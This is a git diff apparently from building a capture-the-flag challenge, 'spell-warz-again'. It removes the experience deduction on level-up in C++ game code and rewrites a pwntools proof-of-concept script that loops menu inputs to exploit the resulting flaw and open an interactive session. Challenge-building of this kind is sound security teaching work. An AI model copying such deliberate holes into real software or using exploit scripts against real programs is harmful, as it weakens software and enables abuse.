diff --git a/lib/Character.cpp b/lib/Character.cpp index ea2229f..600060e 100644 --- a/lib/Character.cpp +++ b/lib/Character.cpp @@ -92,7 +92,6 @@ void Character::levelUp() { if ((level <= MAX_LVL) && readytoLevelUp()) { - experience -= toNextLevel(); level++; maxHP += 100; maxMP += 50; diff --git a/lib/UserInterface.cpp b/lib/UserInterface.cpp index ca64432..a8ad00c 100644 --- a/lib/UserInterface.cpp +++ b/lib/UserInterface.cpp @@ -1,7 +1,7 @@ #include "UserInterface.hpp" -const int UserInterface::INTERVAL = 0; -const int UserInterface::MINI_INTERVAL = 0; +const int UserInterface::INTERVAL = 100; +const int UserInterface::MINI_INTERVAL = 50; const int UserInterface::MAX_DAY = 28; const int UserInterface::MAX_MONTH = 12; const int UserInterface::MAX_YEAR = 100; diff --git a/poc.py b/poc.py index 36a3a65..dcda106 100644 --- a/poc.py +++ b/poc.py @@ -1,6 +1,7 @@ from pwn import process -FILENAME = "./spell-warz-again-patched" +FILENAME = "./spell-warz-again-final" + def poc0(): p = process(FILENAME) @@ -26,14 +27,22 @@ def poc1(): p.sendline("Leo") print p.recvuntil(">") p.sendline("y") - print p.recvuntil(">") - p.sendline("2") + for _ in range(100): + print p.recvuntil(">") + p.sendline("3") + print p.recvuntil(">") + p.sendline("0") + print p.recvuntil(">") + p.sendline("y") + print p.recvuntil(">") + p.sendline("1") print p.recvuntil(">") p.sendline("4") print p.recvuntil(">") p.sendline("y") - print p.recvuntil(">") - p.sendline("0") + for _ in range(10): + print p.recvuntil(">") + p.sendline("99") p.interactive() @@ -45,7 +54,6 @@ def poc2(): p.sendline("y") print p.recvuntil(">") p.sendline("2") - p.interactive() print p.recvuntil(">") p.sendline("4") print p.recvuntil(">") @@ -57,4 +65,4 @@ def poc2(): if __name__ == "__main__": - poc2() + poc1() diff --git a/spell-warz-again b/spell-warz-again-final similarity index 61% rename from spell-warz-again rename to spell-warz-again-final index 81c4f34..43004ae 100755 Binary files a/spell-warz-again and b/spell-warz-again-final differ